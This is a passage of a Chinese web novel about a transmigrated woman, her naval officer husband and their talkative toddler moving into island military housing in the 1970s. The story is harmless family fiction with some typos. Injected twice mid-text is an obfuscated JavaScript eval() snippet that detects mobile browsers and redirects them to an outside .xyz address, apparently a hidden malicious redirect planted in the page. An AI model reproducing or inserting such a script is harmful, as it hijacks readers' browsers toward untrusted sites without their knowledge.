“团团爸也回来?他回来能干嘛?” 苏笑笑:"他职位不高但也不低,能到公安局或者好的单位吧。"“ 这样还行。”王英松开她,“去吧。回家收拾收拾,省得走的时候手忙脚乱。” 苏笑笑没有回家,而是去供销社买了几样比较实用的东西,准备明天和张怀民带着团团去刘家凹。 苏笑笑仔细考虑过,她爹娘真赖着不走,她公婆还真没办法。刘家人出面就不一样,他们光脚的不怕穿鞋的。将来团团长大遇到他不好出面的事,也可以麻烦刘家亲戚。现在不跟人搞好关系,到时候再麻烦人家,谁理你!好比许慧娟,平时跟街坊四邻多走动,能帮就帮,她儿媳妇发动那天也不至于只能找赵大妈。 苏笑笑到家把她的想法告诉张怀民,张怀民也认为不为别的,为了团团以后有个帮手,也不能跟所有亲戚断往。 到了晚上,张怀民回过味:"我们只领团团一个啊?"“还想再生一个?”苏笑笑一把推开他,“自己生去!” 张怀民伸手把人拉到怀中,"生气了?不生就不生。再来一个苏团团我得少活十年。"苏笑笑诧异:"带他有这么累吗?" “麻烦您把‘吗给我去了。”张怀民以前不觉着带个小不点能有多累。这半个月下来,张怀民的骨头快散架了。每天两眼一睁就是跟着苏团团东走西颠,除了吃饭睡觉,他就没停过。张怀民忍不住问:“以前你带他也这么累?” 当然不是,原主没空陪孩子到处跑,经常把团团按在小马扎上让他自己玩。可能以前拘的太厉害,苏笑笑不再拘着他,他最近把想玩的玩个遍,想去的地方去个遍。 可之前的事不能说,不然张怀民得叫她一个人带苏团团,“你没带习惯,习惯就好了。” 张怀民伸手关灯:“睡觉!” 苏笑笑忍不住想笑:“睡着就不用习惯了?” "不困是不是?" “困困困!” 一夜无话。 翌日清晨,苏笑笑看看家里的粮食,米面只剩一点,临走前能吃完。苏笑笑手里还有一张十斤全国粮票,让张怀民拿主意。 张怀民思索片刻:“我爸妈的定量够用的。这个给你大伯,以防万一。农村人靠天吃饭,一旦粮食歉收,只能勒紧腰带。” "我们吃过饭就过去?" 张怀民点点头。 苏笑笑洗漱后就去做饭。 饭后,一家三口领着东西去刘家凹。到那边稍稍坐一会,苏笑笑把钥匙给她小叔就向叔叔大爷告辞。 翌日上午向公婆告辞,中午便登上南下的火车。 苏团团第一次坐火车十分兴奋,这边瞅瞅那边看看。最近跟他爸四处玩,越发大胆,很是不见外地问同车乘客:“你去哪儿啊?” 人家没料到一丁点大的小孩这么大胆,被他问得一愣一愣。张怀民嫌不见外的儿子丢脸,抱着他塞苏笑笑怀里,指着儿子说:“该歇歇了。” “我不累啊。”苏团团晃悠着他的小短腿说。 张怀民心说,你不累你爹累,“你不累但影响别人休息。再跑来跑去,我把你扔到车外面,让你跟着车跑!” 苏团团怀疑爸爸吓唬他,可他不敢赌,乖乖窝在妈妈怀里。今早他起得早,大半天没停过,也有点累,所以一会儿就睡着了。 团团醒来发现火车还在走,而且没人说话吃东西,安静的渗人,这次不需要张怀民吓唬他也不敢四处跑,老老实实坐着左手跟右手玩。 玩着玩着玩睡着了,再次醒来发现在公交车上,团团不禁惊呼:“又回来了?” 张怀民吓了一跳,揪住儿子的耳朵:“怎么又醒了?”“爸爸,不去海边吗?为什么坐车啊?”张怀民:"先坐车再坐船!"小孩不信,瞪大眼睛盯着窗外!张怀民心说,看吧,看吧,难受晕车你就老实了。 16、海岛新家 团团不晕车也不晕船,他下了船兴奋地哇哇叫,拉着苏笑笑的手指着一望无际的海平面:“妈妈,好多好多水啊!” 张怀民和苏笑笑没赶上客船,搭渔船上岸的。 开船的渔民一听小孩这么喜欢他家乡,心里高兴,忍不住问:"喜欢这里吗?" "喜欢!"团团大声宣布。 张怀民脑壳疼,想让他闭嘴:“小点声,海鸥被你吓走了!” “海鸥是什么呀?”团团好奇地问。 张怀民想给自己一大嘴巴子,让你多嘴! “你饿不饿?”张怀民问。 他不说团团都忘了,团团朝妈妈跑去:“妈妈,我渴。” 苏笑笑心说你也该渴了。 打开军用水壶,小孩接过去,不麻烦妈妈喂。 苏笑笑见他拿得动就不再管他,问张怀民:“家属区离这边远吗?” 张怀民:“走过去有点远。等一会儿,买票那天我给战友去个电报,不出意外会来接我们。” 团团咕嘟咕嘟喝了许多水,又在海边转悠片刻,远处驶来一辆车。 车子越来越近,团团松开妈妈的手跑过去问:"你是来接我们的吗?" 张怀民一脸无语。 苏笑笑提醒:“团团,不可以这么没礼貌。” 团团跟苏笑笑去过几次邮局,苏笑笑教过他看见白头发的要喊爷爷奶奶,跟妈妈年龄相仿的喊叔叔阿姨。 听了妈妈的提醒,团团问:“叔叔,是来接我们的吗?” “是的!”司机刚才不是故意不理他,而是没看见说话的人——推开车门才看到小不点。 张怀民拎着大包小包过来,“团团,后退!”团团下意识后退两步。张怀民把行李塞后排就喊苏笑笑。 司机很腼腆也很年轻,看起来二十出头,待苏笑笑靠近喊一声“嫂子”就钻进车里,跟羞答答的新娘子似的。苏笑笑坐进去,张怀民把团团递给她。团团到妈妈怀里就站起来,指着前排:“爸爸坐这儿吗?爸爸,我可以——”“你不可以!”张怀民打断,怎么就生了个话痨儿子啊。 司机想笑:“小朋友,怎么称呼啊?” “我叫团团。你怎么称呼啊?” 张怀民回头:“你还真不见外啊。” 团团眨巴着眼睛,仿佛问干嘛要见外啊。 张怀民希望他闭嘴自然不会接这茬:"开车了,坐好!" 团团要听话就不是话痨小团团,他又想说话,车动起来,因为路面不稳,脑袋差点撞到前排座椅。 苏笑笑赶忙抱住他:"别乱动了啊。"团团也吓一跳,打消扒着靠背跟人聊天的念头。 然而没消停三分钟,车不晃了,团团开始问:“叔叔,你知道吗?我爸爸是军人!”慢热的司机“嗯”一声表示知道。张怀民忍不住说:“他也是军人。” 苏笑笑补一句:“你爸爸的同事都是军人!”团团又想到一个问题:“叔叔,你有枪吗?”张怀民叹一口气,回头问:“能少说两句吗?”年轻的军官道:“没关系。副团——”"我叫团团啊,叔叔,"团团忍不住开口。 年轻的军官愣住,反应过来哑然失笑。 张怀民觉着这辈子都没像最近半个多月这么丢脸过:“人家没跟你说话。你爸爸我是副团长!副团不是名,是职位!” 团团似懂非懂:“副团厉害吗?”张怀民揉揉额角,转过头:“苏团团——” “爸爸,我困了!”苏团团一看他老子面色不好,立刻躲妈妈怀里。车内总算安静下来。苏笑笑也有心思朝外看。 许多一层半高的瓦房,瓦房门口都晒着鱼晾着虾。这种情况苏笑笑以前不曾见过,觉着稀奇,以至于车停下她才回过神。 张怀民闲下来把团团接下去。苏笑笑下车看清眼前的房屋惊呆了,正房是一处坐北朝南的二层小楼,小楼前面还有一个挺大的篱笆小院,院里郁郁青青,充满了生活痕迹。苏笑笑以为在这个物资匮乏的年代,家属区要么是瓦房,要么是筒子楼,万万不敢相信未来的家像一处独栋别墅。 苏笑笑看向张怀民,你不只是个副团长吗。 以前苏笑笑听他说“在舰上”以为应该称他为舰长。张怀民告诉苏笑笑军舰少,他和战友们轮流上舰熟悉,真打起仗来还是要靠陆地战,所以部队没分什么舰什么长,军队职务跟陆军差不多。张怀民扭头避开苏笑笑的视线。 苏笑笑总觉着他心虚。碍于他的兵在场,苏笑笑给他留点面子,先把东西拿进去。 到屋里苏笑笑又很意外,客厅内桌椅板凳什么都不缺。客厅北边是厨房,厨房里有土灶还有炉子,还有一口盛水的缸,里里外外都充满了家的气息。苏笑笑就想问卧室在哪儿,单手抱娃拎着两床被子的张怀民开口:“底下太潮住楼上。” 苏笑笑瞬间明白为什么很多民房离地面很高。 到楼上,三个房间门都敞开着。苏笑笑瞥一眼就看出一个书房两间卧室,书房朝北,两个卧室窗户朝南,这点让苏笑笑心生欢喜,晒被子不需要拿下去,打开窗就行。东西放桌上,年轻的军官便告辞。 苏笑笑给张怀民使个眼色。张怀民微微摇头:" 不用送。先铺床还是先下去洗洗?"昨天上午出发,现在天快黑了才到,一路上走走停停,苏笑笑身上什么味儿都有,“有澡堂吗?”张怀民:"没有。这里最冷零度,不需要去澡堂。" "那烧点水洗洗?" 团团好奇地问:“妈妈,这是我们的新家吗?”苏笑笑点头:“喜欢吗?” 团团很开心:"喜欢!妈妈,我们的新家是高楼。" 苏笑笑冷不丁想起刚才在楼下张怀民心虚的样子。苏笑笑对团团道:“先下去。你不是饿了吗?妈妈做点吃的。”张怀民陡然想起家里没米没面,便让苏笑笑看着团团,他去食堂看看。到食堂正好饭点,张怀民拿几张粮票换的饭票,用搪瓷缸子打粥,用两个饭盒装馒头和菜。 在食堂门口碰到一个半大小子,张怀民下意识停下:“没做饭?” 少年:“做了。家里馒头不多了。” “有饭票吗?” 少年挥挥手:“必须的!”说完就往里钻。 张怀民到家看到苏笑笑在厨房点炉子:"先吃饭,回头我收拾。"苏笑笑打盆水给她和团团洗洗脸洗洗手,又刷了牙,嘴巴舒服了才到客厅坐下。坐车颠簸的不舒服,苏笑笑只想喝粥,让他和团团吃馒头就菜。 苏笑笑做的菜有滋有味,自然比食堂大锅饭好吃。团团在家吃习惯了,以至于现在吃一口就嫌弃:“爸爸,不好吃!” 张怀民:“凑合吃点。明儿叫你妈做好吃的。”“啥好吃的呀?” 面朝大海,张怀民第一反应是海鲜:"大螃蟹!" 团团惊得瞪大眼睛。 张怀民奇怪,“怎么了?不喜欢吃螃蟹!”团团果断点头:"不好吃!"苏笑笑把粥咽下去,“你来之前我买过两个。团团,喜欢吃鱼吗?” "我喝鱼汤!" 苏笑笑:“那就喝鱼汤。” 张怀民朝外看看,昏暗的天色笼罩上来,便告诉苏笑笑今儿太晚,明早他去副食厂买米买油买肉。 苏笑笑诧异:“还有油票啊?” 张怀民:“我留了几张。给你寄的油票是不是还没用?” 苏笑笑原本打算用掉,可 相她和团团经常买着吃,家里还有猪油,时吃不完可能便宜老鼠,就把五斤油票换成小面额:“用了一张,除了给出去的粮票,利的票和钱都在包里。对了,你有没有提醒 妈这个月替我拿工资?" 首都家里剩的油盐酱醋这些小东西被张怀民送给他父母,顺便提醒他妈替苏笑笑领工资。“说了。”张怀民又不由得想起他丈母娘,“真不用给你妈去封信告诉她你和团团在这里?” 苏笑笑:“不用。告诉她她反而认为我气消了,她和我爹可以搬回去。一旦让他们搬回去,再撵就不好撵了。”以张怀民的意思直接跟岳父断往。可他一想到苏笑笑以前很孝顺,又怕她将来后悔,所以才多此一问。 见苏笑笑这么坚定,张怀民愿意相信她当真看清了她父母的真面目:“那就先吃饭。苏团团,你不吃晚上饿了没吃的。厨房里啥也没有,零食也被你吃完了。”团团拿起馒头,要妈妈给他倒点粥,喝小米粥就馒头。 苏笑笑摸摸他的小脑袋:“委屈你了,苏团团。” "妈妈明天给我做好吃的!" 言外之意,补回来就不委屈。 苏笑笑刚才去院里找树叶点煤球看到一片小葱。她出去薅两根葱,到厨房洗干净甩甩水递给团团,“凑合一下吧。” 团团把他的半块馒头掰开,把小葱卷吧卷吧塞进去。 张怀民:"菜不如葱好吃?" 团团点头。 苏笑笑:“只要他吃别管他怎么吃。你有空关心他,不如说说这些家具怎么都是常年使用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811502|153238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的痕迹。还有门口那些整整齐齐的菜地,别说你拾掇的。” 张怀民叹了一口气,知道她会问,可也没想到这么着急:“我怕说了你后悔。” “还没说呢。” 张怀民:“说来话长!” 苏笑笑点头:“慢慢吃慢慢说,我不着急。” 张怀民一看躲不过去,只能从头说起。 去年下半年张怀民准备休假探亲,突然接到上面命令,所有军官取消休假。没过几个月南边不太平。照理说南海的事不需要东海出面,东海加强巡逻便可。 张怀民的团长请求出战。总部也想趁机练兵就允了。张怀民自然也去了。快结束了,他的团长救人受伤,海上没有医疗船,耽误救治人没回来。 张怀民哪还有心情休假。 他的团长入土为安,他们团军官在新团长的带领下安抚好军属,一切尘埃落定又出事了。 部队把抚恤金给前团长妻子,前团长妻子想着公婆晚年丧子不容易,很大方给了公婆 笔巨款,她公婆反而认为她能这么大方说明她手里还有很多钱,就逼她把钱拿出来。她娘家人当时也在,娘家人为 了闺女和俩外孙着想不同意,拉扯间前团长嫂子从二楼摔下来。 苏笑笑手抖,不由得把碗放桌上:“死了?” 张怀民:“其实没大事。可她父母和公婆都是农村人,啥也不懂,认为流血就得找医生,等把人晃晃悠悠 送到医院,医生查出问题查了血型再输血,人已陷入昏迷。后来强撑着一口气交代完后事。” 苏老爷子在家中去世的,苏笑笑不怕。陌生人死在屋里,哪怕是军嫂,苏笑笑心里多少有点瘳得慌:“那俩孩子呢?跟那群没良心的回去了?” “哪能让孩子回去。那个嫂子就是怕她公婆把孩子弄走,拜托钟团家的嫂子照顾他们。现在跟钟团的几个孩子一起吃一起睡,乍一看跟亲兄弟没两样。” 苏笑笑不禁说:“没回去就好。回老家一辈子完了!” 张怀民点头:“其实本来沈团长想收养他俩,因为沈团只有俩女儿,担心他老了以后闺女没有娘家人撑腰被欺负。后来也不知道因为什么没成。他俩也不愿意去沈家。” “听你的意思钟家没女儿?” 张怀民:“五个儿子!” 苏笑笑惊得张大嘴,老天,这么多孩子。 “有血缘关系的只有仁。早几年收养两个,钟团说在火车站捡的,简直胡扯!”张怀民想起这事就无语到想笑,“估计孩子父辈身份有点不好明说。” 苏笑笑朝外面看一眼,没人路过她才放心:"这话还跟谁说过?" 张怀民笑道:“只跟你说过。其实这事大家心知肚明,不需要明说。无论大人做过什么,孩子是无辜的。再说了,那俩孩子的父母长辈真叛国叛党,首长第一个不同意。” “你怎么知道首长知道啊?” 张怀民:“首长夫人平时磁到那俩孩子很关心。咱们南边这片海域只有我们一个师,师长跟钟团是邻居,师长嫂子经常过去帮忙做衣服做鞋。前年我回家从钟团门口过就看到师长嫂子跟几个孩子有说有 笑,说明孩子父辈没什么原则性问题。" 苏笑笑忽然想到一点:"不对啊。你说年前年后的事,可这院里的菜——" “之前有人住进来,也不知道是心虚还是怎么着,非说夜里有动静。没多久就搬走了。” 苏笑笑以前也听同学说过,头天晚上放床头的东西,第二天早上就没了。还不是在学校,是在只有她一个人的家中。然而苏笑笑前世今生都没碰到过。搞玄学的朋友说她身强。身强的结果睡一觉穿越了。苏笑笑越发不信这些:“你不担心我害怕啊?” 张怀民:“你爷爷火化前要换上新衣服,岳父岳母不敢看,你给换的。硬邦邦的尸体你都不怕,还怕早已入土的?” 苏笑笑心说,还怪了解我的。 团团看看爸爸又看看妈妈,说什么呢。 张怀民朝他脸上捏一下:“吃不吃?不吃我收起来。”团团塞嘴里,撑着饭桌起来:“妈妈,我出去玩儿一会啊!” 苏笑笑不禁说:"上哪儿玩儿去?不对,我们刚来,你谁都不认识,跟谁玩儿去?"团团想了想,妈妈说得不是没道理,“出去就认识了啊。”苏笑笑:“外面漆黑,你不怕啊?” 团团无知无畏:“妈妈,我走啦啊。”背着小手往外走,乍一看跟他爷老张一样一样。 17、速战速决 前世苏笑笑经常听她妈絮叨养孩子"三岁不离手,五岁不离眼。"苏团团个三岁小崽子往外跑,她哪能坐得住。三两口喝完粥,苏笑笑就出去。张怀民见她这样,宽慰她:"没事。""我担心他看见什么都好奇一个人瞎逛。"苏笑笑在心里告诉原主她会好好照顾团团。之前给苏老爷子擦遗像,苏笑笑亲口告诉他,团团以后就是她亲儿子。 许下双重诺言,苏笑笑多房叽一会儿良心都过去。苏笑笑到门外听到赔笑声,朝东看去,一群七八岁大的小孩不是斗鸡就是打闹,小团团在旁边看人家玩。见他没乱跑,苏笑笑就没过去,在自家门口盯 着她。 身后传来脚步声,苏笑笑想问,你怎么出来了。回头一看没人,旁边胡同里出来一大一小两个女孩子。大的那个看起来十三四岁,乍一看到苏笑笑吓一跳。 苏笑笑听到小女孩惊呼,赶忙说:“我是新来的。” 俩小姑娘迟疑片刻像是确定她真是人才敢靠近。借着屋里的灯光俩人看清苏笑笑的长相,皮肤白皙,明眸皓齿,像从小到大生活部过得去的城里人,紫外线强的海边没这样的,她们也确实没见过。 大一点的小姑娘问:“你是笑笑阿姨吗?” 苏笑笑确定没见过她,不禁问:“你认识我啊?” 张怀民从屋里出来:“她俩问过我你叫什么,说不知道的话见着你不好打招呼。”朝高个女孩看去,“她也姓张。” 女孩子点头:"我爸和怀民叔一个团的,我爸是政委。" 苏笑笑问:“要进来玩一会儿吗?” 俩小姑娘一起摇头,像是担心苏笑笑误会,笑着说:“我们去那边。”说完俩小姑娘就手拉手往东去。 苏笑笑小声问:“担心咱家有什么啊?” 张怀民:“听说过一些风言风语。这里有工作且素质高的军嫂只占一半。另一半闲着没事就在东边树下瞎扯。” 苏笑笑好奇地问:“有没有你说的师长嫂子?” 张怀民想了想:“有她。她觉悟高,不传闲话。还有几个军嫂脾气挺怪。不过跟你关系不大,过几天你去上班,星期天在家休息,没空出去跟她们东家长李家短。” 苏笑笑不由得想起电视上看的:“没什么夫人外交?” 以后是转业还是提干得看上边。”张怀民觉有他够呛能再上一步,以前让他去军校进修的首长退了,他的困长救人牺牲,他不是新团长嫡系,届时转业的可能性更大,“上边看着没几个人,其实盘根 错杂。” 苏笑笑担心被人听见:“炉子着了?”“差点忘了!”张怀民赶忙回屋烧炉子。 苏笑笑朝东边看去,团团换个地方看人家玩儿。苏笑笑想笑,你个小崽子还没有人家腿长,人家跟你玩儿才怪。团团往前靠近几步,几个大孩子往后退,几人不知说了什么,团团停下,像是在犹豫,过了一会儿,转身跑回来。苏笑笑往前迎两步:“不玩了?” 小孩要抱抱。 苏笑笑抱起他,故意问:“谁惹你生气了?”“哥哥姐姐嫌我小。”团团可怜巴巴的。苏笑笑亲亲他的脸蛋:“我们不跟他们玩。”"可是,我想和哥哥姐姐玩啊。" 那就难办了。苏笑笑好奇:“我看旁边有几个跟你一样高的,你咋不跟人家玩?”“啥也不会玩儿。”团团嫌弃地直摇头,“不要和他们玩儿!” 他还挑上了?苏笑笑顿时不同情他。团团抬起小手,“妈妈,我咋还不长大啊?”“因为你嫌饭菜不好吃。”"不是的!"团团不禁抬高声音。 漆黑的夜晚,身边很安静,他冷不丁来一句,苏笑笑吓了一跳:“小声点,吵着左右邻居。” 团团捂住嘴巴央求:“妈妈,你叫哥哥姐姐和我玩好不好啊?”苏笑笑:“妈妈命令你跟那几个小孩玩好不好?”“不好!”“知道不好还让我命令别人?” 团团无言以对,小脑袋蹭着她的脖颈撒娇,“妈妈,妈妈,妈妈——”“念经呢?”小孩起来嘎嘎乐。 苏笑笑好奇他笑什么,但不想问:“我知道哪里有人玩儿。”“哪里啊?” 苏笑笑:“幼儿园!你去吗?去的话过几天就送你去幼儿园。” “妈妈呢?” “妈妈去邮局上班啊。”苏笑笑抱着他回屋,“幼儿园里有很多小朋友。”到厨房门口,问张怀民幼儿园中午管不管饭。张怀民点头:"管饭,小学不管饭,可以拿着饭票去食堂吃。" “幼儿园是不是要交粮票?” 张怀民:“要,但不多。小孩饭量小。学费贵。”苏笑笑看向团团:“去幼儿园还是跟妈妈上班啊?” 团团喜欢跟人玩儿,可他长这么大没离开过妈妈一天,纠结好一会儿,靠妈妈身上,小脸贴着妈妈的脸。苏笑笑明白了,便问张怀民邮局远不远。 “不远。” 本来岛上只有一个邮局,在岛中间,离此地十多里路。这些年军人和军属多了,经常往老家寄信寄钱,往来十分不便,部队就在离此地一公里的西北方当地公社办事处旁边弄个邮局。 这个邮局只有邮递员是专业的,部队转业过去的。其他职工都是军嫂,学历最高的初中毕 业——没考上中专,又没钱上高中。 不识字的渔民往岛外寄信,请她们写地址,十次有三次含白字,吉得渔民的信被打回来。渔民浪费了邮票又耽误了事就向领导反映。以至于张怀民的政委跟上面反映苏笑笑毕业后-直在首部邮局,上面立刻同意给她安排。 苏笑笑:“我什么时候上班?” 张怀民算算时间:“十一月十八号。” “还有七八天?” “我把你的材料递上去,上面传到邮局,邮局把你的工位整理出来,最快也要三天。”说起她的工作,张怀民好奇,“不在家多歇几天?” 苏笑笑:"上学的上班的都走了,四周空荡荡的,我跟苏团团大眼瞪小眼啊?" 张怀民把烧水壶放炉子上:"苏团团,你妈嫌弃你。" “我不嫌弃妈妈。”苏团团脱口而出。 张怀民噎了一下,扭头瞪儿子,就你长嘴了!苏团团不怕他爸爸,挣扎着要下去。苏笑笑也不想抱小肉墩,立刻把他放地上。双脚沾地,苏团团就往外跑。苏笑笑习惯性跟上,小孩到院里就找东西。 “找什么?”苏笑笑问。 团团好奇:"痰盂呢?" 张怀民把手电筒递给苏笑笑:“在菜地旁边小屋头。那是应急用的。平时去公厕。”苏笑笑拉着团团过去,里头有个旧凳子,突然明白这小屋其实是洗澡的地方。想想也对,岛上没澡堂,一年四季在屋里洗,屋里得潮成什么样啊。何况这里本来湿气就重。苏笑笑带着团团出来就哄他洗脸刷牙。东边依然很热闹,团团不由得往那边看。苏笑笑见他这样,蹲下去安慰:“团团,人家不和你玩不是以为你小。” "可是大哥哥说我小啊。" 苏笑笑:“我们刚来,人家不认识你啊。人家怕你是个坏孩子,跟你玩你咬人家。过几天跟他们熟了,他们知道团团最好,就和团团玩了。” 团团一脸困惑:“我不可以告诉哥哥姐姐我是好孩子吗?” 苏笑笑:“妈妈还说今晚妈妈做的饭。除了你和爸爸谁知道真相啊?” 团团转动他的小脑袋,发现妈妈说得有道理,不得不死心,又不甘心,搂住妈妈的脖子:“妈妈,几天是几天啊?” 苏笑笑:"明儿一早妈妈就带你出去认认人?" 团团高兴地使劲点头。 “可以洗脸刷牙了吗?”团团摸摸他的脸:“吃饭前洗啦。”“你在外面跑一圈又脏了。”苏笑笑不由分说地拉他去厨房。 厨房炉火很旺,这么一会儿壶里的水就温了。张怀民盛出一瓢,往搪瓷缸子里倒三成,余下的倒水盆里。苏笑笑拉着团团先去堂屋外面刷牙,然后给他洗脸。苏笑笑想给团团洗澡,又担心晚上温度低着凉,等水烧好,就用热毛巾给他擦几遍。换上干净的衣服,苏笑笑给他洗好脚,让张怀民看着。端着凉水拎着烧水壶从厨房出来,小孩掰着脚丫子低头闻,苏笑笑一脑门黑线:“臭不臭?” “香香的。”团团放下脚就要找妈妈。 张怀民抱住:“妈妈洗澡去。我们上楼睡觉?”"我不困啊。" 张怀民叹气,“可是爸爸困啊。”“爸爸去睡啊。”张怀民噎了一下:“爸爸希望你陪啊。” “我要等妈妈!”张怀民想了想,装可怜:“团团不喜欢爸爸了吗?” 团团困惑,爸爸为什么这样说啊?哦,团团明白了,因为团团想陪妈妈不想陪爸爸。可是团团只有一个啊。 团团眼中一亮:“爸爸不喜欢妈妈吗?” 张怀民哑然。 这小孩像谁啊?虽然他称不上沉默寡言,可也没有这么多话。以他的了解苏笑笑也是个话不多的。 “怎么这么会说呢?”团团不明白此话何意,团团说错了吗。张怀民干脆抱起儿子:"去楼上一样可以等妈妈。"到楼上,张怀民指着两间相邻的卧室,问团团睡哪边。团团的答案自然是妈妈睡哪边团团睡哪边。两间卧室里都有床,张怀民自然是希望儿子单睡。 这里跟首都苏家不一样,在苏家分开睡团团要睡对面厢房,中间隔着小院,他半夜溜出去张怀民也不知道。现在团团翻个身,张怀民都能在隔壁听见。张怀民指着大床:“你在这里想怎么睡怎么睡。” 团团挣扎着要下去。 张怀民把他放地上,小孩气哼哼下楼。 三岁小孩小腿还没楼梯高,张怀民吓得赶忙追上去认错。 团团不原谅,小脸气鼓鼓的盯着他。张怀民叹了一口气,抱着儿子去主卧,然后把他放床边,他铺床。 一米二宽的床铺上两条被子很挤,张怀民只能把床往外拉一公分,床看起来宽一点,然后把团团塞里面被窝里。 南方的冬天湿冷,被窝又凉又潮,穿着秋裤的团团进去打个哆嗦,急慌慌伸手要爸爸。张怀民不明所以:“怎么了?” “好冷!” 张怀民猛然想起多年前他到这边第一个夜晚,睡了一个小时被窝还是凉的。这里家具一应俱全,唯独没有盐水瓶。“过会儿妈妈来了就不冷了。” 苏笑笑洗好上来,掀开被子坐进去就觉着奇怪:“被子是不是湿了?”张怀民把团团塞给她,“从家里 带来的。来之前你晒过。你们先睡。” 到楼下洗了澡,见炉火还旺,要烧一壶水才能封炉子。张怀民闲着没事就把一家三口的衣服鞋洗刷干净。苏笑笑在楼上听到搓衣服刷鞋的声音很奇怪,电视里和她前世认识的老一辈不都说这个年代的男人很大男子主义吗。苏笑笑的爷爷就不爱做家务。她姥爷不洗衣服懒得扫地,唯爱做饭。在原主的印象中张怀民探亲回家也没干过家务活。 谁调/教的? 苏笑笑心里咯噔一下,不可能在此地有个相好的吧?否则没理由主动叫她随军啊。实在想不通,苏笑笑决定找个机会直接问。张怀民没让她等太久。 十多分钟,苏笑笑听到楼下的脚步声,担头朝窗外看去,张怀民关上篱笆远门。随后苏笑笑听到堂屋门被关上,紧接着又听到上楼的声音。张怀民在门外停顿片刻,苏笑笑朝外看,他把小屋里的痰孟拎上来。 张怀民进来关门又关窗。 到床上看到团团睁着乌溜溜的双眼,张怀民朝他脑门上一下:“你怎么还不睡?” 苏笑笑:“被窝太凉。这就是你说的冬天不冷啊?” “南方就这样。” 苏笑笑冷不丁想起前世北方人去南方过春节,室内开空调被窝里还得加电热毯:“家属区离医务室近吗?”张怀民结合他的话:“找盐水瓶吗?不近也不远。明儿我跟你一起去。”苏笑笑:"不用去部队?"“回来得早,还有两天假。”张怀民躺下接过团团。 团团不想跟爸爸,而爸爸身上火热,团团挣扎一下发现这点就乖乖躺他怀里。 苏笑笑有点不好意思,可一想更亲密的事都干了,所以就掀开自己的被子,移到张怀民身边,冰凉的双脚搭他腿上。张怀民打个哆嗦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811503|153238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你这是——”意识到不合适,把“死人脚”三个字咽回去,“怎么这么凉?”"我也不知道。在首都如果晒了被子,接下来三天在被窝里一会儿就能焙热。" 张怀民:"北方确实干燥。我也听战友说过,自小在北方长大的嫂子到这里起初也不习惯。" “冬天睡炕的地方吗?” 张怀民“嗯”一声:“关灯?” 团团拦住他。 张怀民这辈子没求过人,但这一刻想求儿子,"睡吧。" 团团扭身拉找妈妈。 幸好张怀民的这条被子是他妈准备的,两个人盖绰绰有余。见儿子这么黏人,张怀民把苏笑笑的那条被子推到墙角,“今晚一起睡吧。”早睡早起。 翌日,部队起床的哨声还没传过来苏笑笑就醒了。张怀民见儿子睡得沉,把他移到最里面,把苏笑笑拉到怀里。苏笑笑震惊。 张怀民低声说:“速战速决!”“不行!”张怀民拉着她起来,用昨晚没用到的那条被子把人包起来去隔壁。 …… 两人再次回到隔壁天亮了。幸好团团还没醒。苏笑笑朝张怀民胸口锤一下就穿衣服。 张怀民得了便宜不敢卖乖,拎着痰盂到楼下加点水浇地。 以前张怀民不懂这些,时不时经过家属区,看到不止一个军嫂这么干,探亲回家也见过他妈这么干,虽不理解,但也不眈误他照做。痰盂洗刷干净房小屋里,张怀民就去洗漱,然后拉开炉子烧水。 随后他上楼换苏笑笑下来。 苏笑笑还没洗好团团就醒了。张怀民给孩子穿好衣服抱着他下去:“团团,以后不可以自己走楼梯。” “为什么啊?”团团揉着眼睛问。 张怀民:“楼梯滑,你摔下来就见不到爸爸妈妈了。”团团不想离开妈妈,听到这话立刻乖乖点头。 伺候好儿子,张怀民带上他回家前找战友换的各种票,就带着苏笑笑去副食厂。苏笑笑好奇:"为什么是副食厂?" “其实算是菜市场。只是以前这是个副食品加工厂。现在里头也卖熟食糕点。”张怀民看到几个打闹的小子横冲直撞的,拉一把苏笑笑,“看着路。”苏笑笑从来没有来过南方农村,看到身着斜襟上衣和类似于直筒裤的老粗布裤子的渔民,像是到了老旧画报里的江南水乡。 北方人不这样穿,而且北方许多地方甭管男女都喜欢头包一块布。 手里拿的农具也不一样。北方大铁锨大锄头,南方的工具秀气。手里拎的菜篮子都比北方小一号。 苏笑笑心说有个相机就好了。 张怀民见她跟乡下人进城似的:“看什么呢?” 苏笑笑指着不远处穿着蓝花布的年轻姑娘:“像不像老电影里撑着乌篷船的江南女子?”张怀民无语又想笑:“首先这里是江南,其次她是江南女子,最后她家有一条小船。” “这么巧啊?” 张怀民:"岛上最穷的渔民家也有一条小舢板。船在这里就像北方农村的锄头。" “锄头不该类比渔网吗?” 张怀民:“….…” “我只知道再看下去,你就买不到最新鲜的海货了。”苏笑笑不在意:"下午去也比以前一大早去菜市场买的新鲜。"张怀民无言以对,惊觉胳膊酸了,把儿子放地上。 不止苏笑笑看出南北差异,团团也意识到这里跟首都很不一样。昨晚黑灯瞎火看不清,他 不怕。今儿天亮了,目之所及全是陌生面孔和听不懂的语言,小孩露怯,就像半个月前的他。苏笑笑感觉手被团团抓紧,低头一看,小孩恨不得贴着她的腿走路,就弯腰抱起他:“现在知道怕了?昨晚还要找人玩呢。” 团团笑得很不好意思,趴妈妈肩上。 副食厂离家属区近,没等苏笑笑抱累,就看到副食厂大门。 